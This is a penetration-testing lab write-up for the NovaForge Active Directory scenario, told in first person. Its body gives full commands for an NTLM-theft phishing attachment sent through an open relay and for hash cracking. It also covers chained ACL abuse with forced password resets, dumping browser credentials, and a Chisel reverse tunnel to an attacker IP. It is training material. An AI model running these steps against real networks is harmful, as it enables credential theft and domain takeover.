> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/novaforge.md).

# NovaForge

{% embed url="<https://www.hacksmarter.org/courses/6107e554-1c96-490e-92cb-e031d8e49aec>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

NovaForge delivers enterprise software, intelligent automation, and internal management platforms targeted towards mid-sized companies. They have hired Hack Smarter to perform an internal network penetration test, with a special focus on Active Directory.

Your task is to enumerate the network and see if you can fully compromise the domain.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

The client has provided you with VPN access to their network, but no credentials.

## Summary

<details>

<summary>Summary</summary>

In NovaForge, we begin with internal enumeration of two hosts a Domain Controller `DC.novaforge.local` exposing DNS on port `53`, Kerberos on `88`, LDAP on `389` and `636`, SMB on `445`, IIS on `80`, hMailServer SMTP on `25` and `587`, POP3 on `110`, IMAP on `143`, RDP on `3389`, and WinRM on `5985`; and a file server `STORAGE.novaforge.local` exposing SMB on `445`, RDP on `3389`, and WinRM on `5985`. Initial SMB enumeration fails without credentials, so we pivot to the web service and discover the vhosts `intranet.novaforge.local` and `jobs.novaforge.local` via FFuF fuzzing. The intranet portal warns about credential theft via XML files, while the jobs portal instructs applicants to email `john.doe@novaforge.local` with attachments in a whitelist that includes XML.

We generate a malicious XML file with `ntlm_theft.py`, spin up Responder, and use `swaks` to send the attachment via the unauthenticated SMTP relay on the DC. The user `john.doe` opens the file, leaking an NTLMv2 hash that we crack with `hashcat`. Authenticated SMB access to `STORAGE` reveals a `Shared` folder containing a browser security policy mandating Opera and an access overview document identifying `ryan.collins` (remote management) and `chuck.harrys` (sysadmin with access to an internal portal on port `5000`).

We run BloodHound as `john.doe` and find no direct paths, only a Kerberoastable `svc_it_admin` with uncrackable AES-256 encryption. Falling back to `bloodyAD get writable`, we discover write access over a deleted `m.lee` object, which we restore from the Deleted Objects container. A second BloodHound collection reveals a long chain from `john.doe` to the `TIER1-SUPPORT` OU: we abuse `GenericWrite` on `m.lee` via targeted Kerberoasting with an `msDS-SupportedEncryptionTypes` downgrade to RC4, crack the resulting `$krb5tgs$23$` hash, then chain `WriteDACL` over `steve.wills`, `WriteOwner` over `IT Support Users`, `ForceChangePassword` over `noah.sanders`, `GenericAll` over `steve.miller`, and finally `GenericAll` over the OU containing `ryan.collins` and `daniel.brooks`, resetting passwords along the way.

`daniel.brooks` is a member of Remote Management Users and grants us a WinRM shell on the DC, where we find the user flag alongside a link to Opera. Recalling the browser policy, we upload `DumpBrowserSecrets.exe` and dump `OperaData.json`, recovering the credentials of `chuck.harrys`. We pivot to `STORAGE` as `ryan.collins` via WinRM, confirm the internal service listening on `127.0.0.1:5000`, and use Chisel to establish a reverse port forward back to our attacker machine. Logging into the admin portal as `chuck.harrys`, we disable SMB signing on `STORAGE`.

With signing disabled, we exploit CVE-2025-33073 for NTLM reflection on Windows Server 2025. As `daniel.brooks`, a member of the NovaForge DNS Operators group, we use `bloodyAD` to plant a crafted DNS A record pointing an encoded hostname at our machine, spin up `ntlmrelayx` targeting `smb://storage.novaforge.local`, and coerce authentication using NetExec's `coerce_plus` module. The relayed authentication yields the local Administrator hash on `STORAGE`. We WinRM in as Administrator and discover `david.cokx`'s credentials in `ConsoleHost_history.txt`, then dump LSA and SAM to recover `frank.white`.

BloodHound shows `frank.white` holds `ForceChangePassword` over `svc_it_admin`, and `david.cokx` can modify the Protected Users group. We reset `svc_it_admin`, remove it from Protected Users as `david.cokx` to lift the NTLM authentication block, and confirm access. From here, we exploit `svc_it_admin`'s `WriteSPN` over both `STORAGE$` and `DC$`, combined with its constrained delegation to `storage.novaforge.local`, to create an SPN-jacking scenario. We clear the `cifs/STORAGE.novaforge.local` SPN from `STORAGE$` using `addspn.py`, relocate it onto `DC$`, then use `getST.py` with S4U2self and S4U2proxy to impersonate the Administrator, leveraging the `-altservice` flag to retarget the ticket to `CIFS/DC.novaforge.local`. Pass-the-Ticket via `psexec.py` grants us a SYSTEM shell on the DC, yielding the root flag at `C:\Users\Administrator\root.txt`.

</details>

## Recon

### Storage

We use `rustscan -b 500 -a 10.0.0.101 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap, which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.0.0.101 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/fb5E6HmdjgxUjc1QKvsI" alt=""><figcaption></figcaption></figure>

The target `10.0.0.101` is a host named `STORAGE.novaforge.local`, a member of the `NOVAFORGE` domain. SMB is exposed on port `445` with message signing enabled and required, and port `139` was not found open in this scan. RPC endpoint mapping is available via MSRPC on ports `135` and `49676`. Remote management and access are available through RDP on port `3389` and WinRM on port `5985`, the latter identifying only as `Microsoft-HTTPAPI/2.0` with no title.

<figure><img src="/files/pQP6r15ZwZKa7xaiI4Ea" alt=""><figcaption></figcaption></figure>

We try to authenticate anonymously and via `guest` against SMB using NetExec, but without success. The account is disabled. Nevertheless, we generate a hosts file entry with the following command:

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.0.101 -u guest -p '' --generate-hosts-file storage-host
```

{% endcode %}

<figure><img src="/files/rGKzRtTW6xBszGpLGg4j" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.0.0.101     STORAGE.novaforge.local STORAGE
```

{% endcode %}

### DC

We use `rustscan -b 500 -a 10.0.0.100 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap, which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.0.0.100 --top -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="/files/fhYYeIKroJu8NfWcTgYs" alt=""><figcaption></figcaption></figure>

The target `10.0.0.100` is a Domain Controller `DC.novaforge.local` for the domain `novaforge.local`. DNS is exposed on port `53` via Simple DNS Plus, and Kerberos on port `88`, alongside Kerberos password change on port `464`. LDAP and LDAPS services are available on ports `389` and `636`, with the Global Catalog on ports `3268` and `3269`. SMB is exposed via ports `139` and `445` with message signing enabled and required. A web server (Microsoft IIS 10.0) is hosting a "NovaForge | Dark Enterprise Suite — Video Loop" page on port `80`. Mail services are also present, with hMailServer providing SMTP on ports `25` and `587`, POP3 on port `110`, and IMAP on port `143`. Remote management and access are available through RDP on port `3389` and WinRM on ports `5985`. The host also exposes a .NET Message Framing service on port `9389`, RPC over HTTP on ports `593` and `49669`, and numerous additional MSRPC endpoints on ports `135`, `49664`–`49671`, `49686`, `49695`, `49707`, and `49711`.

<figure><img src="/files/KiTAzzQP9K2DEFNkymrg" alt=""><figcaption></figcaption></figure>

We try to authenticate anonymously and via `guest` against SMB using NetExec, but without success. The account is disabled. Nevertheless, we generate a hosts file entry with the following command:

{% code overflow="wrap" expandable="true" %}

```
nxc smb 10.0.0.100 -u guest -p '' --generate-hosts-file dc-host
```

{% endcode %}

<figure><img src="/files/acqW6g7Km7vXsLD5JHXS" alt=""><figcaption></figcaption></figure>

We add the following entry to our `/etc/hosts` file.

{% code overflow="wrap" expandable="true" %}

```
10.0.0.100     DC.novaforge.local novaforge.local DC
```

{% endcode %}

We proceed to the website on port `80` on the domain controller and initially find only a static page. For now, we do not find anything useful here.

{% code overflow="wrap" expandable="true" %}

```
http://10.0.0.100/
```

{% endcode %}

<figure><img src="/files/3I7Xq0VMSOeqYGEeZf6b" alt=""><figcaption></figcaption></figure>

Also, a directory scan does not reveal any useful endpoints.

We perform a VHOST scan using FFuF and are able to identify the vhosts `intranet` and `jobs`.

{% code overflow="wrap" expandable="true" %}

```
ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.novaforge.local" -u http://novaforge.local -fw 6151
```

{% endcode %}

<figure><img src="/files/7eQZ1CCrhTeylpnReyQu" alt=""><figcaption></figcaption></figure>

We add the following to our `/etc/hosts` file:

{% code overflow="wrap" expandable="true" %}

```
10.0.0.100     DC.novaforge.local novaforge.local DC jobs.novaforge.local intranet.novaforge.local
```

{% endcode %}

The `intranet` site also appears to be purely static and does not provide any other specific endpoints. However, there is an indication that attackers are stealing credentials via XML files... possibly through NTLM theft.

{% code overflow="wrap" expandable="true" %}

```
http://intranet.novaforge.local/
```

{% endcode %}

<figure><img src="/files/zyueIqoTllCim6Gcv6R5" alt=""><figcaption></figcaption></figure>

The `jobs` site also appears to be just a static page.

{% code overflow="wrap" expandable="true" %}

```
http://jobs.novaforge.local/
```

{% endcode %}

<figure><img src="/files/Gkkt7I2n6ihNhgLZJDPd" alt=""><figcaption></figcaption></figure>

However, if we select one of the open positions, we are directed to a form to submit our application via email. It doesn't seem to be working, though. We do find some valuable information here. Applications are received via email and reviewed manually by <john.doe@novaforge.local>.

Only certain file extensions are allowed, but XML is one of them. This matches the file type mentioned on the intranet portal.

<figure><img src="/files/qunCmn0odbd2BJqg4ywu" alt=""><figcaption></figcaption></figure>

## Access as john.doe

Although macro files are not allowed, which prevents direct code execution, we may still be able to use NTLM theft to get the hash of the user who opens the file.

NTLM theft works by embedding a reference to a remote resource inside a file. When the file is opened by the victim, their machine automatically tries to authenticate to that resource, leaking their NetNTLM hash. We can then try to crack this hash.

{% code overflow="wrap" expandable="true" %}

```
http://jobs.novaforge.local/
```

{% endcode %}

<figure><img src="/files/Z0QGE7tgvbIG84s9Qsjz" alt=""><figcaption></figcaption></figure>

We prepare the file using `ntlm_theft.py`.

{% embed url="https\://ntlm\_theft.py/" %}

{% code overflow="wrap" expandable="true" %}

```
ntlm_theft.py -g all -s 192.168.211.2 -f application_0xb0b
```

{% endcode %}

<figure><img src="/files/4znXFOLvZjjpOdd8QXyF" alt=""><figcaption></figcaption></figure>

We spin up Responder to catch the hash.

{% code overflow="wrap" expandable="true" %}

```
responder -I tun0
```

{% endcode %}

<figure><img src="/files/DcZwYtSdPJ3upsDtXKnD" alt=""><figcaption></figcaption></figure>

Next, we use `swaks` to send an email with the `ntlm_theft` XML file attached to `john.doe@novaforge.local` from an arbitrary mail account. It looks like no authentication is required, and the email is sent successfully.

{% code overflow="wrap" expandable="true" %}

```
swaks \                             
  --to 'john.doe@novaforge.local' \
  --from '0xb0b@novaforge.me' \
  --header 'Subject: Job Application 0xb0b' \
  --body 'Dear Hiring Team,
Please find attached my application for the position. I look forward to hearing from you.
Kind regards, 0xb0b' \
  --attach-type application/octet-stream \
  --server DC.novaforge.local \
  --port 25 \
  --timeout 20s \
  --attach @'application_0xb0b-(stylesheet).xml'
```

{% endcode %}

<figure><img src="/files/kaqNotbzggPdK3C9PKw4" alt=""><figcaption></figcaption></figure>

After a short delay, we retrieve the hash of the user `john.doe`.

<figure><img src="/files/DRw7zK7LjJ6iEsc3NUG1" alt=""><figcaption></figcaption></figure>

We try to crack the NTLMv2-SSP hash and are successful.

{% code overflow="wrap" expandable="true" %}

```
hashcat -a0 -m5600 john.hash /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/jBAKdRLmgg4AUp7wnyUm" alt=""><figcaption></figcaption></figure>

We try to authenticate with the credentials against SMB on the storage and DC machines using NetExec while enumerating the shares. We successfully authenticate. We also spot the `Shared` share, to which we have read access.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u john.doe -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/slU8EAoEFejQQTJjoVEp" alt=""><figcaption></figcaption></figure>

We connect to the share using smbclient.py and are able to retrieve two PDF files.

{% code overflow="wrap" expandable="true" %}

```
smbclient.py 'novaforge.local/john.doe:REDACTED@storage.novaforge.local'
```

{% endcode %}

<figure><img src="/files/v00HF6KL5kzOfhPwmhXY" alt=""><figcaption></figcaption></figure>

The `NovaForge Browser Security Policy.pdf` requires all employees and contractors to use the Opera browser for internal services and not to save their credentials in it. We also learn that there might be an internal administration portal on the `storage` machine at port `5000`. We did not see this port in our port scan.

So that means we should perhaps consider - if we gain remote access to the storage - trying to extract credentials from the respective users' Opera browsers and try to log into the internal portal.

{% code overflow="wrap" expandable="true" %}

```
NovaForge Browser Security Policy.pdf
```

{% endcode %}

<figure><img src="/files/FNsA2bCfkTxTwbIKun4A" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/oe9pZ8KelB5cZtP04gqO" alt=""><figcaption></figcaption></figure>

The `StorageAccessOverview.pdf` lists several users who might be helpful. Of particular note are `ryan.collins`, who has remote management access, and `chuck.harrys`, who is a system administrator and has access to the internal system. We may be able to get credentials for the internal portal through access to `chuck.harrys`.

{% code overflow="wrap" expandable="true" %}

```
StorageAccessOverview.pdf
```

{% endcode %}

<figure><img src="/files/xOEgJUBNGaEtW1P7N853" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration I

Now that we have a domain user's credentials and access, we start enumerating the domain using BloodHound.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py -u 'john.doe' -p 'REDACTED' -d novaforge.local -dc DC.novaforge.local -ns 10.0.0.100 -c All --zip
```

{% endcode %}

<figure><img src="/files/BytEUxnFjCQZ8zuIWmKz" alt=""><figcaption></figcaption></figure>

We query for all Domain Admins but only find the Administrator user as the domain admin.

<figure><img src="/files/flTkNbzYAn8pO4EM8K4m" alt=""><figcaption></figcaption></figure>

We inspect our owned user, `john.doe`. This user does not hold any special privileges, outbound object control, or membership in a special group. It looks like we may have hit a wall.

<figure><img src="/files/NjRPmyAfDktwrH5cCbte" alt=""><figcaption></figcaption></figure>

We look for Kerberoastable users and do find the user `svc_it_admin` as such.

<figure><img src="/files/OfjjfjpUvmpLJD3uYqHM" alt=""><figcaption></figcaption></figure>

We could obtain the `$krb5tgs$18$` blob of `svc_it_admin` through Kerberoasting, which corresponds to AES-256 encryption. Unfortunately, this hash type is too strong to crack offline within a practical timeframe.

{% code overflow="wrap" expandable="true" %}

```
nxc ldap DC.novaforge.local -u john.doe -p 'REDACTED' --kerberoasting kerberoastable.txt
```

{% endcode %}

As a last resort we enumerate the writable objects to identify an alternative path that is not covered in the BloodHound data:

**CN=Users (CREATE\_CHILD):** We can create new objects, such as users or groups, inside this container.

**CN=Deleted Objects (CREATE\_CHILD; WRITE / WRITE OWNER / WRITE DACL):** We have full control over the recycle bin, so we can take ownership, rewrite its permissions, and manipulate deleted objects.

**CN=S-1-5-11 in ForeignSecurityPrincipals (WRITE):** We can modify this object, which represents the Authenticated Users group.

**CN=john.doe (WRITE):** We can edit our own account's attributes.

**CN=m.lee (deleted) (WRITE):** We can modify the deleted m.lee account, which lets us restore and take control of it.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u john.doe -p 'REDACTED' get writable
```

{% endcode %}

<figure><img src="/files/6ccZ1d1S77fOfLuQgyOv" alt=""><figcaption></figcaption></figure>

## Restore m.lee

As `john.doe`, we abuse our write access over the deleted `m.lee` object to restore the account from the Deleted Objects container.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u john.doe -p 'REDACTED' set restore 'm.lee'
```

{% endcode %}

<figure><img src="/files/4h7c2KwwisK8CO5lrAcl" alt=""><figcaption></figcaption></figure>

## BloodHound Enumeration II

Let's enumerate the domain again, since the user `m.lee` was missing from our BloodHound data before we recovered it.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py -u 'john.doe' -p 'REDACTED' -d novaforge.local -dc DC.novaforge.local -ns 10.0.0.100 -c All --zip
```

{% endcode %}

<figure><img src="/files/B0dN0rqp8rNW5er20KBy" alt=""><figcaption></figcaption></figure>

Now we see that the user `john.doe` has `GenericWrite` permissions over `m.lee`.

<figure><img src="/files/MXTq8JA6JcfsUHw4Mr87" alt=""><figcaption></figcaption></figure>

Let's query for the Shortest Path from Owned Objects.

The Shortest Path from Owned Objects reveals a chain of Active Directory permissions that allows movement from one account to the next, starting from the owned `john.doe` account.

The `john.doe` account holds GenericWrite over `m.lee`, which allows control of `m.lee` through a targeted Kerberoast attack.

The user `m.lee` holds WriteDACL over `steve.wills`, which allows full rights to be granted over the account and control of `steve.wills` to be taken.

The user `steve.wills` holds WriteOwner over the IT Support group, which allows ownership of the group to be claimed, membership rights to be granted, and the account to be added to IT Support.

Membership in IT Support grants ForceChangePassword over `noah.sanders`, which allows the account's password to be reset and control of `noah.sanders` to be taken.

The user `noah.sanders` holds GenericAll over `steve.miller`, which allows full control of the account.

Finally, the user `steve.miller` holds GenericAll over the `TIER1-SUPPORT` Organizational Unit, which allows control of the OU and the objects it contains, namely `ryan.collins` and `daniel.brooks`.

<figure><img src="/files/CgH11mmiMdBfjzZ83aHR" alt=""><figcaption></figcaption></figure>

## Shell as ryan.collins / daniel.brooks on DC

We follow the attack path depicted above to obtain a shell as `ryan.collins`.

### Access as m.lee

First, we gain access as `m.lee` through a targeted Kerberoast attack. Since we hold `GenericWrite` over `m.lee`, we can set a temporary Service Principal Name on the account, request a service ticket for it, and capture the crackable hash.

{% code overflow="wrap" expandable="true" %}

```
targetedKerberoast.py -d 'novaforge.local' -u 'john.doe' -p 'johndoe1369' --request-user 'm.lee' --dc-ip 10.0.0.100
```

{% endcode %}

<figure><img src="/files/lkAUthLQtwn3D58IFlh1" alt=""><figcaption></figcaption></figure>

Using our `GenericWrite` over `m.lee`, we downgrade the account's supported encryption types by setting `msDS-SupportedEncryptionTypes` to `4`, which forces the KDC to issue RC4-encrypted `$krb5tgs$23$` tickets instead of AES:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u john.doe -p 'REDACTED' set object m.lee msDS-SupportedEncryptionTypes -v 4
```

{% endcode %}

With the weaker encryption type now enforced, we re-run the targeted Kerberoast against `m.lee` to obtain a crackable RC4 hash:

{% code overflow="wrap" expandable="true" %}

```
targetedKerberoast.py -d 'novaforge.local' -u 'john.doe' -p 'REDACTED' --request-user 'm.lee' --dc-ip 10.0.0.100 
```

{% endcode %}

<figure><img src="/files/NcIwLkb7Ipr1pMO7q7lp" alt=""><figcaption></figcaption></figure>

We crack the hash and gain the password of `m.lee`.

{% code overflow="wrap" expandable="true" %}

```
hashcat -m 13100 -a 0 lee.hash /usr/share/wordlists/rockyou.txt
```

{% endcode %}

<figure><img src="/files/Zut4cczPnaFfETh0lOkI" alt=""><figcaption></figcaption></figure>

Next, we test the credentials against SMB using NetExec and successfully authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u m.lee -p '0816mypassword' --shares
```

{% endcode %}

<figure><img src="/files/rPR1X9FUgfSq5wK4okPY" alt=""><figcaption></figcaption></figure>

### Access as steve.wills

After cracking the RC4 hash to recover the password for `m.lee`, we abuse our WriteDACL over `steve.wills` to grant `m.lee` FullControl over the account:

{% code overflow="wrap" expandable="true" %}

```
dacledit.py -action 'write' -rights 'FullControl' -principal 'm.lee' -target 'steve.wills' 'novaforge.local/m.lee:0816mypassword'
```

{% endcode %}

We confirm and apply the GenericAll right for `m.lee` over `steve.wills`:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d 'novaforge.local' -u m.lee -p '0816mypassword' add genericAll 'steve.wills' 'm.lee'
```

{% endcode %}

With full control established, we reset the password of `steve.wills` to take over the account:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u m.lee -p '0816mypassword' set password 'steve.wills' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/2Eheg6FPrv1tLBJFiOwR" alt=""><figcaption></figcaption></figure>

Next, we test the credentials against SMB using NetExec and successfully authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u steve.wills -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/sxVt9GTtKYqbzqc843jP" alt=""><figcaption></figcaption></figure>

### Access as noah.sanders

To gain access as `noah.sanders`, we need to become a member of the `IT Support Users` group so we can change the user's password through the `ForceChangePassword` permission.

First, we abuse our WriteOwner over the IT Support group to set `steve.wills` as the owner:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u steve.wills -p 'Pwned123@!' set owner 'IT Support Users' 'steve.wills'
```

{% endcode %}

With the ownership claimed, we grant `steve.wills` the rights to modify the group's membership:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u steve.wills -p 'Pwned123@!' add genericAll 'IT Support Users' 'steve.wills'
```

{% endcode %}

Finally, we add `steve.wills` to the `IT Support Users` group:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u steve.wills -p 'Pwned123@!' add groupMember 'IT Support Users' 'steve.wills'
```

{% endcode %}

<figure><img src="/files/CgB3pwdjO9JQiSefyMsr" alt=""><figcaption></figcaption></figure>

Next, we use the `ForceChangePassword` permission granted through our `IT Support Users` membership to reset the password of `noah.sanders` and take over the account:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u steve.wills -p 'Pwned123@!' set password 'noah.sanders' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/IMmmXX45TKNcsoKJmJw6" alt=""><figcaption></figcaption></figure>

Next, we test the credentials against SMB using NetExec and successfully authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u noah.sanders -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/oT831Uogf5fF3UcR2er4" alt=""><figcaption></figcaption></figure>

### Access as steve.miller

As `noah.sanders`, we abuse our GenericAll over `steve.miller` to reset the account's password.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u noah.sanders -p 'Pwned123@!' set password 'steve.miller' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/zVNHmd6gip9oiuuJf2g0" alt=""><figcaption></figcaption></figure>

Next, we test the credentials against SMB using NetExec and successfully authenticate.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u steve.miller -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/8sLgHHrEMpUdOc1jdeWT" alt=""><figcaption></figcaption></figure>

### Shell as ryan.collins

{% hint style="info" %}
I overlooked the step of explicitly granting the user steve.miller fullcontrol permission on the OU while drafting the write-up.
{% endhint %}

As steve.miller, we need to to grant ourselves full control over the OU and the objects it contains to leverage a GenericAll on the `TIER1-SUPPORT OU` to take control over the members of the OU. Either by using bloodyAD or dcaledit.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u steve.miller -p 'Pwned123@!' add genericAll 'OU=Tier1-Support,DC=NOVAFORGE,DC=LOCAL' 'steve.miller'
```

{% endcode %}

<figure><img src="/files/EmYO2L4VL38DKrAnzdEa" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'steve.miller' -target-dn 'OU=TIER1-SUPPORT,DC=NOVAFORGE,DC=LOCAL' 'novaforge.local'/'steve.miller':'Pwned123@!'
```

{% endcode %}

As `steve.miller`, we leverage the `GenericAll` on the `TIER1-SUPPORT OU` to reset the password of `ryan.collins` and take over the account:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u steve.miller -p 'Pwned123@!' set password 'ryan.collins' 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/7Hc6urq8IBeigeCI4c3B" alt=""><figcaption></figcaption></figure>

Next, we connect to the DC as `ryan.collins` but there is no flag yet.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC.novaforge.local -u ryan.collins -p 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/DeNr4Pdm1EaAKqK4j3HJ" alt=""><figcaption></figcaption></figure>

### Shell as daniel.brooks

We take a closer look at `daniel.brooks` and see that this user is also a member of the Remote Management Users group, which would allow us to open a session on the DC.

<figure><img src="/files/dEd26iLIGnNwAj13XSDY" alt=""><figcaption></figcaption></figure>

Likewise, we reset the password of `daniel.brooks`, the other child object under the TIER1-SUPPORT OU, to take over that account as well:

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC.novaforge.local -d novaforge.local -u steve.miller -p 'Pwned123@!' set password 'daniel.brooks' 'Pwned123@!'
```

{% endcode %}

Next, we connect to the DC as `daniel.brooks` and there we have the user flag and a link to the Opera Browser.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC.novaforge.local -u daniel.brooks -p 'Pwned123@!'
```

{% endcode %}

<figure><img src="/files/PqFdjoV3V3n0s521ebCv" alt=""><figcaption></figcaption></figure>

## Access as chuck.harrys

Since this user seems to have Opera installed, we recall our finding from the share.

<figure><img src="/files/KRNZ5k7u9h6rh4ujJGnU" alt=""><figcaption></figcaption></figure>

Maybe that user has stored the credentials in the browser.

{% code overflow="wrap" expandable="true" %}

```
NovaForge Browser Security Policy.pdf
```

{% endcode %}

<figure><img src="/files/BnWaUQMxWXKAC8HGql0T" alt=""><figcaption></figcaption></figure>

We had no success with the following two tools to harvest the credentials...

{% embed url="<https://github.com/alessandroz/lazagne>" %}

{% embed url="<https://github.com/Apr4h/HarvestBrowserPasswords/>" %}

... but `DumpBrowserSecrets.exe` does the job.

{% embed url="<https://github.com/Maldev-Academy/DumpBrowserSecrets>" %}

We upload the binary to the target machine...

{% code overflow="wrap" expandable="true" %}

```
upload DumpBrowserSecrets.exe
```

{% endcode %}

<figure><img src="/files/nH5l4nFyIsvu4MRYetci" alt=""><figcaption></figcaption></figure>

... and follow the instructions from the repository.

We extract all entries from all browsers into an encrypted pack.

```
.\DumpBrowserSecrets.exe /b:all /e:all /enc:0xCAFEBABE
```

<figure><img src="/files/MccLDpjwcCxrbu5L78mf" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/IJaHuhEezBGsHEfgEr9q" alt=""><figcaption></figcaption></figure>

We should end up with a JSON file called `OperaData.json`. This file contains the credentials of `chuck.harrys`.

{% code overflow="wrap" expandable="true" %}

```
 cat OperaData.json
```

{% endcode %}

<figure><img src="/files/7NI7fnxAalxAYq6qy9Aj" alt=""><figcaption></figcaption></figure>

We test the credentials of `chuck.harrys` using NetExec and successfully authenticate against the domain controller.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u chuck.harrys -p 'REDACTED' --shares
```

{% endcode %}

<figure><img src="/files/nW4UHeg7STxhCPG9nDvj" alt=""><figcaption></figcaption></figure>

## Shell as ryan.collins on storage

Next, we connect to the share as `ryan.collins`.

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i storage.novaforge.local -u ryan.collins -p 'Pwned123@!'
```

{% endcode %}

And a service on port `5000` is indeed running internally.

{% code overflow="wrap" expandable="true" %}

```
netstat -ano
```

{% endcode %}

<figure><img src="/files/BSUlPgTlhZ1G2wisPDpc" alt=""><figcaption></figcaption></figure>

## Shell as local Administrator on Storage

Next, we try to expose the port using Chisel and connect to the service using the credentials of `chuck.harrys`.

{% embed url="<https://github.com/jpillora/chisel>" %}

We setup the chisel server on our attacker machine.

{% code overflow="wrap" expandable="true" %}

```
./chisel server --reverse --port 51234
```

{% endcode %}

<figure><img src="/files/2t8QIuDdiDVhW1X9MmoH" alt=""><figcaption></figcaption></figure>

We upload Chisel and we run the client mode to establish a reverse port forward back to our attacking machine, exposing the target's internal service on `127.0.0.1:5000` through our listener on port `5000`:

{% code overflow="wrap" expandable="true" %}

```
upload chisel.exe
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
.\chisel.exe client 192.168.211.2:51234 R:5000:127.0.0.1:5000
```

{% endcode %}

<figure><img src="/files/uzdwrUXq117DdtQrOtBs" alt=""><figcaption></figcaption></figure>

Now we can access the service in port 5000.

{% code overflow="wrap" expandable="true" %}

```
http://127.0.0.1:5000/
```

{% endcode %}

<figure><img src="/files/9TKO7JgmZs7rMnRV5VRS" alt=""><figcaption></figcaption></figure>

If we click on `Admin Portal` we are asked for credentials. We provide those of `chuck.harrys`.

<figure><img src="/files/INefz9hm7OnQ83EFIxAD" alt=""><figcaption></figcaption></figure>

We get redirected and are bale to disable the SMB siging from the storage share.

{% code overflow="wrap" expandable="true" %}

```
http://127.0.0.1:5000/login.aspx
```

{% endcode %}

<figure><img src="/files/6m0MiCFzZoiVL7VXYE76" alt=""><figcaption></figcaption></figure>

After disabling it, we verify the change by enumerating the target's SMB configuration, confirming that signing is now set to `False`.

{% code overflow="wrap" expandable="true" %}

```
nxc smb storage.novaforge.local -u ryan.collins -p 'Pwned123@!' --shares
```

{% endcode %}

<figure><img src="/files/L5RNo7JiqlwV7zUbOiI4" alt=""><figcaption></figcaption></figure>

This opens the host up to NTLM reflection via CVE-2025-33073 on Windows Server 2025.

{% embed url="<https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025>" %}

